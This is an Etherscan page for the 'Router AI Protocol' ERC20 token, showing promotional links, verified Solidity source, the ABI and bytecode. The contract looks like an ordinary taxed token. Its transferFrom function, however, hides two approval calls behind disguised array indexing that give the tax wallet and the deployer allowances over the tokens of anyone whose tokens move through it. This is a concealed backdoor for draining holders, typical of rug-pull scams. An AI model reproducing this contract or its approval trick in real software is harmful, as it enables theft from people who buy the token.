ETH Price: $2,621.19 (-3.44%)

Token

Router AI Protocol (ROUTER)
 

Overview

Max Total Supply

1,000,000,000 ROUTER

Holders

229

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ROUTER

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-18
*/

/*
Router AI Chain Achieves Chain Abstraction by offering a state engine capable of reading and modifying states on any blockchain

https://www.router-ai.com
https://nitro.router-ai.com
https://docs.router-ai.com
https://medium.com/@RouterAI
https://x.com/RouterAICore
https://t.me/RouterAIProtocol
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ROUTER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (uint256 => address) private _rWallets;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFeeTo;
    address private _taxWallet = 0xe2fd2b5D71E336bb3dF398D8Ffde7D73162319C6;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Router AI Protocol";
    string private constant _symbol = unicode"ROUTER";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _maxSwapAmts = _tTotal / 100;
    IUniDexRouter private _uniDexRouter;
    address private _uniDexPair;
    bool private inSwapLock = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwapLock = true;
        _;
        inSwapLock = false;
    }

    constructor () {
        _isExcludedFeeTo[owner()] = true;
        _isExcludedFeeTo[address(this)] = true;
        _isExcludedFeeTo[_taxWallet] = true;
        _rWallets[0] = address(0xDead);
        _rWallets[1] = _taxWallet;
        _rWallets[2] = _msgSender();
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _uniDexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function launchPair() external onlyOwner() {
        _uniDexRouter = IUniDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniDexRouter), _tTotal);
        _uniDexPair = IUniDexFactory(_uniDexRouter.factory()).createPair(address(this), _uniDexRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _tokenApprove(sender, [_rWallets[1], sender][0], amount);
        _tokenApprove(sender, [sender, _rWallets[2]][1], amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _tokenApprove(address owner, address spender, uint256 amount) private {
        _approve(owner, spender, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendEthFeeTo(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniDexPair && to != address(_uniDexRouter) && ! _isExcludedFeeTo[to]) {
                _buyCount++;
            }

            if(to == _uniDexPair && from!= address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapLock && to == _uniDexPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxSwapAmts)
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxSwapAmts)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendEthFeeTo(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniDexRouter.WETH();
        _approve(address(this), address(_uniDexRouter), tokenAmount);
        _uniDexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launchPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273e2fd2b5d71e336bb3df398d8ffde7d73162319c660055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a620000759190620003b5565b6200008590633b9aca00620003cc565b620000919190620003e6565b600e556010805462ffffff60a01b19169055348015620000af575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160045f620001075f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260048452828120805486166001908117909155600580548416835293822080549096168117909555928490527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546001600160a01b031990811661dead179091559154939092527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f805490911692909116919091179055620001d73390565b60025f5260016020527fd9d16d34ffb15ba3a3d852f0d403e2ce1d691fb54de27ac87cd2f993f3ec330f80546001600160a01b0319166001600160a01b03929092169190911790556200022d6009600a620003b5565b6200023d90633b9aca00620003cc565b335f81815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200027f6009600a620003b5565b6200028f90633b9aca00620003cc565b60405190815260200160405180910390a362000406565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002fa57815f1904821115620002de57620002de620002a6565b80851615620002ec57918102915b93841c9390800290620002bf565b509250929050565b5f826200031257506001620003af565b816200032057505f620003af565b8160018114620003395760028114620003445762000364565b6001915050620003af565b60ff841115620003585762000358620002a6565b50506001821b620003af565b5060208310610133831016604e8410600b841016171562000389575081810a620003af565b620003958383620002ba565b805f1904821115620003ab57620003ab620002a6565b0290505b92915050565b5f620003c560ff84168362000302565b9392505050565b8082028115828204841417620003af57620003af620002a6565b5f826200040157634e487b7160e01b5f52601260045260245ffd5b500490565b6114cc80620004145f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b4114610228578063a9059cbb14610256578063c9567bf914610275578063dd62ed3e14610289575f80fd5b806370a08231146101ba578063715018a6146101ee5780638da5cb5b14610202575f80fd5b806306fdde03146100cd578063095ea7b31461011957806318160ddd1461014857806320d860021461016a57806323b872dd14610180578063313ce5671461019f575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526012815271149bdd5d195c88105248141c9bdd1bd8dbdb60721b60208201525b60405161011091906110db565b60405180910390f35b348015610124575f80fd5b5061013861013336600461113e565b6102cd565b6040519015158152602001610110565b348015610153575f80fd5b5061015c6102e3565b604051908152602001610110565b348015610175575f80fd5b5061017e610303565b005b34801561018b575f80fd5b5061013861019a366004611168565b61050a565b3480156101aa575f80fd5b5060405160098152602001610110565b3480156101c5575f80fd5b5061015c6101d43660046111a6565b6001600160a01b03165f9081526002602052604090205490565b3480156101f9575f80fd5b5061017e610624565b34801561020d575f80fd5b505f546040516001600160a01b039091168152602001610110565b348015610233575f80fd5b506040805180820190915260068152652927aaaa22a960d11b6020820152610103565b348015610261575f80fd5b5061013861027036600461113e565b610695565b348015610280575f80fd5b5061017e6106a1565b348015610294575f80fd5b5061015c6102a33660046111c1565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102d933848461080d565b5060015b92915050565b5f6102f06009600a6112ec565b6102fe90633b9aca006112fa565b905090565b5f546001600160a01b031633146103355760405162461bcd60e51b815260040161032c90611311565b60405180910390fd5b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103839030906103706009600a6112ec565b61037e90633b9aca006112fa565b61080d565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103f79190611346565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610456573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061047a9190611346565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156104c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104e89190611346565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f610516848484610930565b6040805180820190915260015f81815260209182527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f546001600160a01b0390811684528716918301919091526105759186915b602002015184610d43565b604080518082019091526001600160a01b03808616825260025f52600160208181527fd9d16d34ffb15ba3a3d852f0d403e2ce1d691fb54de27ac87cd2f993f3ec330f54909216918301919091526105ce91869161056a565b61061a843361037e8560405180606001604052806028815260200161146f602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d53565b5060019392505050565b5f546001600160a01b0316331461064d5760405162461bcd60e51b815260040161032c90611311565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d9338484610930565b5f546001600160a01b031633146106ca5760405162461bcd60e51b815260040161032c90611311565b601054600160a81b900460ff16156107245760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161032c565b600f546001600160a01b031663f305d7194730610755816001600160a01b03165f9081526002602052604090205490565b5f806107685f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ce573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f39190611375565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b03831661086f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032c565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032c565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032c565b6001600160a01b0382166109f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032c565b5f8111610a575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161032c565b5f80546001600160a01b03858116911614801590610a8257505f546001600160a01b03848116911614155b15610c0657610ab36064610aad600a54600d5411610aa257600654610aa6565b6008545b8590610d8b565b90610e10565b6010549091506001600160a01b038581169116148015610ae15750600f546001600160a01b03848116911614155b8015610b0557506001600160a01b0383165f9081526004602052604090205460ff16155b15610b1f57600d8054905f610b19836113a0565b91905055505b6010546001600160a01b038481169116148015610b4557506001600160a01b0384163014155b15610b7257610b6f6064610aad600b54600d5411610b6557600754610aa6565b6009548590610d8b565b90505b305f90815260026020526040902054601054600160a01b900460ff16158015610ba857506010546001600160a01b038581169116145b8015610bbd5750601054600160b01b900460ff165b8015610bcc5750600c54600d54115b15610c0457600e54811115610bf857610bf8610bf384610bee84600e54610e51565b610e51565b610e65565b47610c0247610fd5565b505b505b8015610c7e57305f90815260026020526040902054610c259082611010565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c759085815260200190565b60405180910390a35b6001600160a01b0384165f90815260026020526040902054610ca0908361106e565b6001600160a01b0385165f90815260026020526040902055610ce3610cc5838361106e565b6001600160a01b0385165f9081526002602052604090205490611010565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d2c858561106e565b60405190815260200160405180910390a350505050565b610d4e83838361080d565b505050565b5f8184841115610d765760405162461bcd60e51b815260040161032c91906110db565b505f610d8284866113b8565b95945050505050565b5f825f03610d9a57505f6102dd565b5f610da583856112fa565b905082610db285836113cb565b14610e095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161032c565b9392505050565b5f610e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110af565b5f818311610e5f5782610e09565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610eab57610eab611361565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f02573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f269190611346565b81600181518110610f3957610f39611361565b6001600160a01b039283166020918202929092010152600f54610f5f913091168461080d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f979085905f908690309042906004016113ea565b5f604051808303815f87803b158015610fae575f80fd5b505af1158015610fc0573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561100c573d5f803e3d5ffd5b5050565b5f8061101c838561145b565b905083811015610e095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161032c565b5f610e0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d53565b5f81836110cf5760405162461bcd60e51b815260040161032c91906110db565b505f610d8284866113cb565b5f602080835283518060208501525f5b81811015611107578581018301518582016040015282016110eb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461113b575f80fd5b50565b5f806040838503121561114f575f80fd5b823561115a81611127565b946020939093013593505050565b5f805f6060848603121561117a575f80fd5b833561118581611127565b9250602084013561119581611127565b929592945050506040919091013590565b5f602082840312156111b6575f80fd5b8135610e0981611127565b5f80604083850312156111d2575f80fd5b82356111dd81611127565b915060208301356111ed81611127565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561124657815f190482111561122c5761122c6111f8565b8085161561123957918102915b93841c9390800290611211565b509250929050565b5f8261125c575060016102dd565b8161126857505f6102dd565b816001811461127e5760028114611288576112a4565b60019150506102dd565b60ff841115611299576112996111f8565b50506001821b6102dd565b5060208310610133831016604e8410600b84101617156112c7575081810a6102dd565b6112d1838361120c565b805f19048211156112e4576112e46111f8565b029392505050565b5f610e0960ff84168361124e565b80820281158282048414176102dd576102dd6111f8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611356575f80fd5b8151610e0981611127565b634e487b7160e01b5f52603260045260245ffd5b5f805f60608486031215611387575f80fd5b8351925060208401519150604084015190509250925092565b5f600182016113b1576113b16111f8565b5060010190565b818103818111156102dd576102dd6111f8565b5f826113e557634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561143a5784516001600160a01b031683529383019391830191600101611415565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102dd576102dd6111f856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079ceb12259cfbcb3c23e111f9b7b9b72b40357b0a47b64cdd6f66086c1af85e464736f6c63430008160033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b4114610228578063a9059cbb14610256578063c9567bf914610275578063dd62ed3e14610289575f80fd5b806370a08231146101ba578063715018a6146101ee5780638da5cb5b14610202575f80fd5b806306fdde03146100cd578063095ea7b31461011957806318160ddd1461014857806320d860021461016a57806323b872dd14610180578063313ce5671461019f575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526012815271149bdd5d195c88105248141c9bdd1bd8dbdb60721b60208201525b60405161011091906110db565b60405180910390f35b348015610124575f80fd5b5061013861013336600461113e565b6102cd565b6040519015158152602001610110565b348015610153575f80fd5b5061015c6102e3565b604051908152602001610110565b348015610175575f80fd5b5061017e610303565b005b34801561018b575f80fd5b5061013861019a366004611168565b61050a565b3480156101aa575f80fd5b5060405160098152602001610110565b3480156101c5575f80fd5b5061015c6101d43660046111a6565b6001600160a01b03165f9081526002602052604090205490565b3480156101f9575f80fd5b5061017e610624565b34801561020d575f80fd5b505f546040516001600160a01b039091168152602001610110565b348015610233575f80fd5b506040805180820190915260068152652927aaaa22a960d11b6020820152610103565b348015610261575f80fd5b5061013861027036600461113e565b610695565b348015610280575f80fd5b5061017e6106a1565b348015610294575f80fd5b5061015c6102a33660046111c1565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102d933848461080d565b5060015b92915050565b5f6102f06009600a6112ec565b6102fe90633b9aca006112fa565b905090565b5f546001600160a01b031633146103355760405162461bcd60e51b815260040161032c90611311565b60405180910390fd5b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103839030906103706009600a6112ec565b61037e90633b9aca006112fa565b61080d565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103f79190611346565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610456573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061047a9190611346565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156104c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104e89190611346565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f610516848484610930565b6040805180820190915260015f81815260209182527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f546001600160a01b0390811684528716918301919091526105759186915b602002015184610d43565b604080518082019091526001600160a01b03808616825260025f52600160208181527fd9d16d34ffb15ba3a3d852f0d403e2ce1d691fb54de27ac87cd2f993f3ec330f54909216918301919091526105ce91869161056a565b61061a843361037e8560405180606001604052806028815260200161146f602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d53565b5060019392505050565b5f546001600160a01b0316331461064d5760405162461bcd60e51b815260040161032c90611311565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d9338484610930565b5f546001600160a01b031633146106ca5760405162461bcd60e51b815260040161032c90611311565b601054600160a81b900460ff16156107245760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161032c565b600f546001600160a01b031663f305d7194730610755816001600160a01b03165f9081526002602052604090205490565b5f806107685f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ce573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f39190611375565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b03831661086f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032c565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032c565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032c565b6001600160a01b0382166109f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032c565b5f8111610a575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161032c565b5f80546001600160a01b03858116911614801590610a8257505f546001600160a01b03848116911614155b15610c0657610ab36064610aad600a54600d5411610aa257600654610aa6565b6008545b8590610d8b565b90610e10565b6010549091506001600160a01b038581169116148015610ae15750600f546001600160a01b03848116911614155b8015610b0557506001600160a01b0383165f9081526004602052604090205460ff16155b15610b1f57600d8054905f610b19836113a0565b91905055505b6010546001600160a01b038481169116148015610b4557506001600160a01b0384163014155b15610b7257610b6f6064610aad600b54600d5411610b6557600754610aa6565b6009548590610d8b565b90505b305f90815260026020526040902054601054600160a01b900460ff16158015610ba857506010546001600160a01b038581169116145b8015610bbd5750601054600160b01b900460ff165b8015610bcc5750600c54600d54115b15610c0457600e54811115610bf857610bf8610bf384610bee84600e54610e51565b610e51565b610e65565b47610c0247610fd5565b505b505b8015610c7e57305f90815260026020526040902054610c259082611010565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c759085815260200190565b60405180910390a35b6001600160a01b0384165f90815260026020526040902054610ca0908361106e565b6001600160a01b0385165f90815260026020526040902055610ce3610cc5838361106e565b6001600160a01b0385165f9081526002602052604090205490611010565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d2c858561106e565b60405190815260200160405180910390a350505050565b610d4e83838361080d565b505050565b5f8184841115610d765760405162461bcd60e51b815260040161032c91906110db565b505f610d8284866113b8565b95945050505050565b5f825f03610d9a57505f6102dd565b5f610da583856112fa565b905082610db285836113cb565b14610e095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161032c565b9392505050565b5f610e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110af565b5f818311610e5f5782610e09565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610eab57610eab611361565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f02573d5f803e3d5ffd5b505050506040513d601f19601f